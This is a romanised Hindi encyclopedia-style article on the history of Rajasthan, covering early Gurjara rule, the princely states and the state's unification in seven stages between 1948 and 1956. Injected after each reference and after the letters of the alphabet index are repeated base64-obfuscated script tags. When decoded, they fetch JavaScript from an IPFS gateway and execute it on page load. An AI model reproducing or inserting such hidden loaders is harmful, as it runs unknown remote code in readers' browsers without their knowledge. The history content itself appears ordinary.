राजस्थान का इतिहास

rajasthan ka itihas pragaitihasik kal se shuroo hota hai. eesa poorv 3000 se 1000 ke bich yahaan ki sanskriti siandhu ghati sabhyata jaisi thi. 12vian sadi tak rajasthan ke adhikaansh bhag par gurjaroan ka rajy raha hai. gujarat tatha rajasthan ka adhikaansh bhag gurjaratra (gurjaroan se rakshit desh) ke nam se jana jata tha.^[1]^[2]^[3]gurjar pratiharo ne 300 saloan tak poore uttari-bharat ko arab akrantao se bachaya tha.^[4]bad mean jab rajapootoan ne is rajy ke vividh bhagoan par apana adhipaty jama liya to yah kshetr britishakal mean rajapootana (rajapootoan ka sthan) kahalane laga. 12vian shatabdi ke bad meva d par guhilotoan ne rajy kiya. meva d ke alava jo any riyasatean aitihasik drishti se pramukh rahian, ve haian - bharatapur, jayapur, booandi, marava d, kota, aur alavar. any sabhi riyasatean inhian riyasatoan se bani. in sabhi riyasatoan ne 1818 mean adhinasth gathabandhan ki british sandhi svikar kar li jisamean rajaoan ke hitoan ki raksha ki vyavastha thi, lekin is sandhi se am janata svabhavik roop se asantusht thi.
varsh 1857 ke vidroh ke bad log 'svatantrata aandolan' mean bhag lene ke lie mahatma gaandhi ke netritv mean ekajut hue. sanh 1935 mean aangrezi shasan vale bharat mean praantiy svayattata lagoo hone ke bad rajasthan mean nagarik svatantrata tatha rajanitik adhikaroan ke lie aandolan aur tez ho gaya. 1948 mean in bikhari huee riyasatoan ko ek karane ki prakriya shuroo huee, jo 1956 mean rajy mean punargathan qanoon lagoo hone tak jari rahi. sabase pahale 1948 mean 'matsy sangh' bana, jisamean kuchh hi riyasatean shamil hueean. dhire-dhire baki riyasatean bhi isamean milati geean. sanh 1949 tak bikaner, jayapur, jodhapur aur jaisalamer jaisi mukhy riyasatean isamean shamil ho chuki thian aur ise 'brihattar rajasthan sanyukt rajy' ka nam diya gaya. sanh 1958 mean ajamer, aboo rod taluka aur sunel tappa ke bhi shamil ho jane ke bad vartaman rajasthan rajy vidhivat astitv mean aya. rajasthan ki samoochi pashchimi sima par pakistan p data hai, jabaki uttar mean panjab, uttar poorv mean hariyana, poorv mean uttar pradesh, dakshin-poorv mean madhy pradesh aur dakshin-pashchim mean gujarat hai.

sat charanoan mean bana rajasthan

18 march, 1948 ko alavar, bharatapur, dhaulapur, karauli riyasatoan ka vilay hokar 'matsy sangh' bana. dhaulapur ke tatkalin maharaja udayasianh rajapramukh v alavar rajadhani bani.
25 march, 1948 ko kota, booandi, jhalava d, toank, dooangarapur, baansava da, pratapagadh, kishanagadh v shahapura ka vilay hokar rajasthan sangh bana.
18 aprॅl, 1948 ko udayapur riyasat ka vilay. naya nam 'sanyukt rajasthan sangh' rakha gaya. udayapur ke tatkalin maharana bhoopal sianh rajapramukh bane.
30 march, 1949 mean jodhapur, jayapur, jaisalamer aur bikaner riyasatoan ka vilay hokar 'vrihattar rajasthan sangh' bana tha. yahi rajasthan ki sthapana ka din mana jata hai.
15 aprॅl, 1949 ko 'matsy sangh' ka vrihattar rajasthan sangh mean vilay ho gaya.
26 janavari, 1950 ko sirohi riyasat ko bhi vrihattar rajasthan sangh mean milaya gaya.
1 navanbar, 1956 ko aboo, delava da tahasil ka bhi rajasthan mean vilay hua, madhy pradesh mean shamil sunel tappa ka bhi vilay hua.^[5]

bharatiy svatantrata andolan mean rajasthan ka yogadan

bharatiy svatantrata andolan mean rajasthan ke anek svatantrata senaniyoan ne yogadan diya hai jisamean se pramukh haian- aanjana devi chaudhari, chhaganaraj chaupasani vala, ganga sianh, ghanashyam das bi dala, ghasi ram chaudhari, jamanalal bajaj, chunnilal chittau da, jayanarayan vyas, abdul hamid kaisar, thakur kesari sianh, mahatma ramachandr vir adi.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika-tippani aur sandarbh

↑ Ramesh Chandra Majumdar (1977) The History and Culture of the Indian People: The classical age. Bharatiya Vidya Bhavan.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ (1984) Desa, videsa me? Gurjara kya hai? tatha kya the?: Gurjara itihasa. Akhila Bharatiya Gurjara Samaja Sudhara Sabha.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ Surajanasi?ha Shekhavata (1989) Sekhava?i pradesa ka pracina itihasa. Sri Sardula Ejyukesana ?ras?a.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ John Keay (2001) India: a history. Grove Press. ISBN 0-8021-3797-0, ISBN 978-0-8021-3797-5.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ rajasthan divas: viragathaoan se hota hai garv ka ehasas (hindi) rajasthan patrika. abhigaman tithi: 1 aprॅl, 2015.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y 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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[1] Ramesh Chandra Majumdar (1977) The History and Culture of the Indian People: The classical age. Bharatiya Vidya Bhavan.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[2] (1984) Desa, videsa me? Gurjara kya hai? tatha kya the?: Gurjara itihasa. Akhila Bharatiya Gurjara Samaja Sudhara Sabha.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[3] Surajanasi?ha Shekhavata (1989) Sekhava?i pradesa ka pracina itihasa. Sri Sardula Ejyukesana ?ras?a.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[4] John Keay (2001) India: a history. Grove Press. ISBN 0-8021-3797-0, ISBN 978-0-8021-3797-5.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[5] rajasthan divas: viragathaoan se hota hai garv ka ehasas (hindi) rajasthan patrika. abhigaman tithi: 1 aprॅl, 2015.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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